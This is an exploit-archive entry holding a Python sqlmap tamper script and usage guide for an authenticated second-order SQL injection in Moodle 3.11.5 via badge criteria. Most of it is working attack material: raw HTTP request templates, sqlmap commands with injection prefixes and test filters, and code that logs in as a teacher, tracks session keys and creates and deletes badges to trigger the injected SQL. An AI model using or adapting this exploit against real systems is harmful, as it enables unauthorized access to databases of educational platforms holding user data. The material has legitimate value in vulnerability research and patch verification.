1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 |
# Exploit Title: Moodle 3.11.5 - SQLi (Authenticated) # Date: 2/3/2022 # Exploit Author: Chris Anastasio (@mufinnnnnnn) # Vendor Homepage: https://moodle.com/ # Software Link: https://github.com/moodle/moodle/archive/refs/tags/v3.11.5.zip # Write Up: https://muffsec.com/blog/moodle-2nd-order-sqli/ # Tested on: Moodle 3.11.5+ #!/usr/bin/env python """ thanks to: - <blockquote class="wp-embedded-content" data-secret="NpR5bdxrfC"><a href="https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/" target="_blank"rel="external nofollow" class="external" >Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; visibility: hidden;" title="“Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper” — Pentest Blog" src="https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/embed/#?secret=9BdYGDh7v1#?secret=NpR5bdxrfC" data-secret="NpR5bdxrfC" frameborder="0" marginmarginscrolling="no"></iframe> - https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap - Miroslav Stampar for maintaining this incredible tool greetz to: - @steventseeley - @fabiusartrel - @mpeg4codec - @0x90shell - @jkbenaim - jmp """ import sys import requests import re from pprint import pprint from collections import OrderedDict from lib.core.enums import PRIORITY from lib.core.data import conf from lib.core.data import kb from random import sample __priority__ = PRIORITY.NORMAL requests.packages.urllib3.disable_warnings() """ Moodle 2.7dev (Build: 20131129) to 3.11.5+ 2nd Order SQLi Exploit by muffin (@mufinnnnnnn) How to use: 1. Define the variables at the top of the tamper() function, example: username = "teacher's-username" password = "teacher's-password" app_root = "http://127.0.0.1/moodle" course_id = 3 NOTE: the course_id should be a course that your teacher can create badges on 2. Create a file called <code>req.txt</code> that looks like the following. Be sure to update the <code>Host:</code> field... POST /moodle/badges/criteria_settings.php?badgeid=badge-id-replace-me&add=1&type=6 HTTP/1.1 Host: <your-target-here> Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Connection: close sesskey=sess-key-replace-me&_qf__edit_criteria_form=1&mform_isexpanded_id_first_header=1&mform_isexpanded_id_aggregation=0&mform_isexpanded_id_description_header=0&field_firstname=0&field_lastname=0&field_lastname=*&field_email=0&field_address=0&field_phone1=0&field_phone2=0&field_department=0&field_institution=0&field_description=0&field_picture=0&field_city=0&field_country=0&agg=2&description%5Btext%5D=&description%5Bformat%5D=1&submitbutton=Save 3. Create a file called <code>req2.txt</code> that looks like the following. Again, be sure to update the <code>Host:</code> field... POST /moodle/badges/action.php HTTP/1.1 Host: <your-target-here> Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Connection: close id=badge-id-replace-me&activate=1&sesskey=sess-key-replace-me&confirm=1&return=%2Fbadges%2Fcriteria.php%3Fid%3Dbadge_id-replace-me 4. Run the following sqlmap command, make sure the tamper argument is pointing at this file: sqlmap -r req.txt --second-req req2.txt --tamper=./moodle-tamper.py --dbms=mysql --level=5 --prefix='id = 1' --drop-set-cookie --answer="login/index.php'. Do you want to follow?=n,Do you want to process it=y" --test-filter='MySQL >= 5.0.12 AND time-based blind (query SLEEP)' --current-user --batch --flush NOTES: - for some reason after the first run sqlmap complains that it cannot fingerprint the db and will refuse to try enumerating anthing else, this is why there is a flush at the end. I'm sure it can be fixed... - you can do error based with this command (if errors are enabled...not likely): sqlmap -r req.txt --second-req req2.txt --tamper=./moodle-tamper.py --dbms=mysql --level=5 --prefix='id = 1' --level=5 --drop-set-cookie --answer="login/index.php'. Do you want to follow?=n,Do you want to process it=y" --batch --current-user --fresh-queries --flush --test-filter='MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' How it works (briefly): - In order to get our sql query into the database it's necessary to create a badge and add some criteria. It is when adding the critera that the sql-to-be-executed-2nd-order is inserted into the database. Finally, when the badge is enabled the injected sql is executed. - This tamper script does the following: - log in to the app - update cookie/sesskey for both the 1st and 2nd requests - make all the requests necessary to create the badge, right up until adding the critera - sqlmap itself adds the criteria with whatever payload it's testing - sqlmap makes the 2nd call to enable the badge (runs the injected sql) - next time around the tamper script will delete the badge that it last created to prevent have 10000s of badges for the course Analysis of the bug: - see http://muffsec.com/blog/moodle-2nd-order-sqli/ Why?: 1. It's an interesting bug, 2nd order sqli is more rare (or maybe just harder to find?) 2. It's an interesting use of sqlmap. There are some articles talking about using it for 2nd order sqli but the use cases outlined are relatively straightforward. There's a few hacky things being done with sqlmap in this script which others might want to do some day i.e. - using the tamper script to authenticate to the app - updating the Cookie in sqlmap's httpHeader structure - updating the CSRF token (sesskey) in the body of both the 1st and 2nd request 3. I wanted to practice programming/thought it would be fun. Also I didn't want to reinvent the wheel with a standalone exploit when sqlmap is just so darn good at what it does. Thoughts: - The exploit is not optimized, halfway through writing I realized there is a badge duplication feature which would cut the number of requests generated down significantly. There's probably many other ways it could be improved as well - I didn't do much testing...it works on my system... - I would be surprised if anyone ever put a <code>Teacher</code> level sqli to practical use - As a bonus, this bug is also usable as a stored xss - Would be cool if moodle's bug bounty paid more than kudos """ def get_user_session(username, password, app_root): """ - logs in to moodle - returns session object, cookie, and sesskey """ s = requests.Session() login_page = "{app_root}/login/index.php".format(app_root=app_root) # make first GET request to get cookie and logintoken r = s.get(login_page, verify=False) try: token = re.findall('logintoken" value="(.*?)"', r.text)[0] except Exception as e: print("[-] did not find logintoken, is the target correct?") print(e) sys.exit(1) payload = {'username': username, 'password': password, 'anchor': '', 'logintoken': token} # make second request to actually log in # also let's us get the sesskey r = s.post(login_page, data=payload, allow_redirects=False, verify=False) # third request for session test which activates the session cookie = r.cookies.get_dict() r = s.get(r.headers['Location'], verify=False) sesskey = re.findall('sesskey":"(.*?)"', r.text)[0] if (len(cookie) == 0): sys.exit("[-] Could not establish session! Are credz correct?") print("[+] Cookie: {} for user \"{}\"".format(cookie, username)) print("[+] sesskey: {} for user \"{}\"".format(sesskey, username)) return s, cookie, sesskey def new_badge1(s, sesskey, app_root, course_id): """ - this is the first request that gets generated when "add a new badge" is clicked. - it returns the <code>client_id</code>, <code>itemid</code>, and <code>ctx_id</code> which are needed on subsequent requests - returns -1 on failure """ target_url = "{app_root}/badges/newbadge.php".format(app_root=app_root) # badge type is 2 which is a course badge (rather than a site badge) payload = {'type': 2, 'id': course_id, 'sesskey': sesskey} r = s.post(target_url, data=payload, allow_redirects=False, verify=False) try: client_id = re.findall('"client_id":"(.*?)"', r.text)[0] except Exception as e: print("[-] failed to grab client_id in new_badge1()") print(e) return -1 try: itemid = re.findall('"itemid":(.*?),"', r.text)[0] except Exception as e: print("[-] failed to grab itemid in new_badge1()") print(e) return -1 try: ctx_id = re.findall('&ctx_id=(.*?)&', r.text)[0] except Exception as e: print("[-] failed to grab ctx_id in new_badge1()") print(e) return -1 return client_id, itemid, ctx_id def image_signin(s, sesskey, app_root, client_id, itemid, ctx_id): """ - sadly, in order to create a badge we have to associate an image - this request adds an image which is a moodle logo from wikimedia - returns sourcekey on success - return -1 on failure """ target_url = "{app_root}/repository/repository_ajax.php?action=signin".format(app_root=app_root) # repo id 6 is for when we are downloading an image payload = {'file': 'https://upload.wikimedia.org/wikipedia/commons/thumb/c/c6/Moodle-logo.svg/512px-Moodle-logo.svg.png', 'repo_id': '6', 'p': '', 'page': '', 'env': 'filepicker', 'accepted_types[]': '.gif', 'accepted_types[]': '.jpe', 'accepted_types[]': '.jpeg', 'accepted_types[]': '.jpg', 'accepted_types[]': '.png', 'sesskey': sesskey, 'client_id': client_id, 'itemid': itemid, 'maxbytes': '262144', 'areamaxbytes': '-1', 'ctx_id': ctx_id} r = s.post(target_url, data=payload, allow_redirects=False, verify=False) try: sourcekey = re.findall('"sourcekey":"(.*?)","', r.text)[0] except Exception as e: print("[-] failed to grab sourcekey in image_signin()") print(e) return -1 return sourcekey def image_download(s, sesskey, app_root, client_id, itemid, ctx_id, sourcekey): """ - continues the image flow started in image_signin(), here the actual download happens - returns image_id on success - return -1 on failure """ target_url = "{app_root}/repository/repository_ajax.php?action=download".format(app_root=app_root) # repo id 6 is for when we are downloading from an image from a URL payload = {'repo_id': '6', 'p': '', 'page': '', 'env': 'filepicker', 'accepted_types[]': '.gif', 'accepted_types[]': '.jpe', 'accepted_types[]': '.jpeg', 'accepted_types[]': '.jpg', 'accepted_types[]': '.png', 'sesskey': sesskey, 'client_id': client_id, 'itemid': itemid, 'maxbytes': '262144', 'areamaxbytes': '-1', 'ctx_id': ctx_id, 'title': '512px-Moodle-logo.svg.png', 'source': 'https://upload.wikimedia.org/wikipedia/commons/thumb/c/c6/Moodle-logo.svg/512px-Moodle-logo.svg.png', 'savepath': '/', 'sourcekey': sourcekey, 'license': 'unknown', 'author': 'moodle-hax'} r = s.post(target_url, data=payload, allow_redirects=False, verify=False) try: image_id = re.findall(',"id":(.*?),"file', r.text)[0] except Exception as e: print("[-] failed to grab image_id in image_download()") print(e) return -1 return image_id def new_badge2(s, sesskey, app_root, course_id, image_id, name="sqlmap-badge", description="sqlmap-description"): """ - finally we are actually creating the badge """ target_url = "{app_root}/badges/newbadge.php".format(app_root=app_root) # badge type is 2 which is a course badge (rather than a site badge) payload = {'type': '2', 'id': course_id, 'action': 'new', 'sesskey': sesskey, '_qf__core_badges_form_badge': '1', 'mform_isexpanded_id_badgedetails': '1', 'mform_isexpanded_id_issuancedetails': '1', 'name': name, 'version': '', 'language': 'en', 'description': description, 'image': image_id, 'imageauthorname': '', 'imageauthoremail': '', 'imageauthorurl': '', 'imagecaption': '', 'expiry': '0', 'submitbutton': 'Create+badge'} r = s.post(target_url, data=payload, allow_redirects=False, verify=False) try: badge_id = re.findall('badges/criteria.php\?id=(.*?)"', r.text)[0] except Exception as e: #print("[-] failed to grab badge_id in new_badge2()") #print(e) return -1 return badge_id def delete_badge(s, sesskey, app_root, course_id, badge_id): """ - delete the badge """ target_url = "{app_root}/badges/index.php".format(app_root=app_root) # badge type is 2 which is a course badge (rather than a site badge) payload = {'sort': 'name', 'dir': 'ASC', 'page': '0', 'type': '2', 'id': course_id, 'delete': badge_id, 'confirm': '1', 'sesskey': sesskey} # TODO: add validation logic r = s.post(target_url, data=payload, allow_redirects=False, verify=False) def tamper(payload, **kwargs): username = "teacher" password = "password" app_root = "http://127.0.0.1/moodle" course_id = 3 # check if cookie is set # cookie should not be set in the request file or this script will fail # https://stackoverflow.com/questions/946860/using-pythons-list-index-method-on-a-list-of-tuples-or-objects try: cookie_index = [x[0] for x in conf.httpHeaders].index('Cookie') except ValueError: # if no cookie is found we run the session initialization routine s, cookie, sesskey = get_user_session(username, password, app_root) # this updates the sqlmap cookie conf.httpHeaders.append(('Cookie', 'MoodleSession={}'.format(cookie['MoodleSession']))) # here we're making our own global variable to hold the sesskey and session object conf.sesskey = sesskey conf.s = s # check if a badge_id is set, if so delete it before making the new one try: conf.badge_id is None delete_badge(conf.s, conf.sesskey, app_root, course_id, conf.badge_id) except AttributeError: # we should only hit this on the very first run # we hit the AttributeError because conf.badge_id doesn't exist yet pass # ## do all the badge creation flow up the point of adding the criteria # client_id, itemid, ctx_id = new_badge1(conf.s, conf.sesskey, app_root, course_id) sourcekey = image_signin(conf.s, conf.sesskey, app_root, client_id, itemid, ctx_id) image_id = image_download(conf.s, conf.sesskey, app_root, client_id, itemid, ctx_id, sourcekey) # we need to store the badge_id globally conf.badge_id = new_badge2(conf.s, conf.sesskey, app_root, course_id, image_id) # - if badge creation failed try deleting the last known badgeid # - it's most likely failing because a badge already exists with the same name # - yes, it's ugly # - if you control+c and there is a badge with some BS criteria you will # only see an error on the badge management page and won't be # able to delete it through moodle # - if the trouble badgeid is known it can be deleted to resolve the issue if (conf.badge_id == -1): with open("/tmp/last-known-badge-id", "r") as f: conf.badge_id = f.read() delete_badge(conf.s, conf.sesskey, app_root, course_id, conf.badge_id) conf.badge_id = new_badge2(conf.s, conf.sesskey, app_root, course_id, image_id) if (conf.badge_id == -1): sys.exit("[-] ya done fucked up...") with open("/tmp/last-known-badge-id", "w") as f: f.write(conf.badge_id) # - update the sesskey and badge_id in the body of the requests # - it seems necessary to update both the conf.parameters and conf.paramDict structures post = ("sesskey={sesskey}&_qf__edit_criteria_form=1&mform_isexpanded_id_first_header=1&" "mform_isexpanded_id_aggregation=0&mform_isexpanded_id_description_header=0&field_firstname=0&" "field_lastname=0&field_lastname=*&field_email=0&field_address=0&field_phone1=0&field_phone2=0&" "field_department=0&field_institution=0&field_description=0&field_picture=0&field_city=0&" "field_country=0&agg=2&description[text]=&description[format]=1&submitbutton=Save".format(sesskey=conf.sesskey)) get = "badgeid={badge_id}&add=1&type=6".format(badge_id=conf.badge_id) conf.parameters = {'(custom) POST': post, 'GET': get, 'Host': conf.parameters['Host'], 'Referer': conf.parameters['Referer'], 'User-Agent': conf.parameters['User-Agent']} conf.paramDict = {'(custom) POST': OrderedDict([('#1*', post)]), 'GET': OrderedDict([('badgeid', conf.badge_id), ('add', '1'), ('type', '6')]), 'Host': {'Host': conf.parameters['Host']}, 'Referer': {'Referer': '{app_root}/badges/criteria_settings.php'.format(app_root=app_root)}, 'User-Agent': {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ' '(KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36'}} # we need to update values for the second request too secondReq_url = ("id={badge_id}&activate=1&sesskey={sesskey}&" "confirm=1&return=/badges/criteria.php?id={badge_id}".format(badge_id=conf.badge_id, sesskey=conf.sesskey)) kb['secondReq'] = ('{app_root}/badges/action.php'.format(app_root=app_root), 'POST', secondReq_url, None, (('Host', app_root.split('/')[2]), ('Content-Type', 'application/x-www-form-urlencoded'), ('Cookie', 'MoodleSession={}'.format(conf.s.cookies.get_dict()['MoodleSession'])), # yes, ugly ('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ' (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36'))) return payload |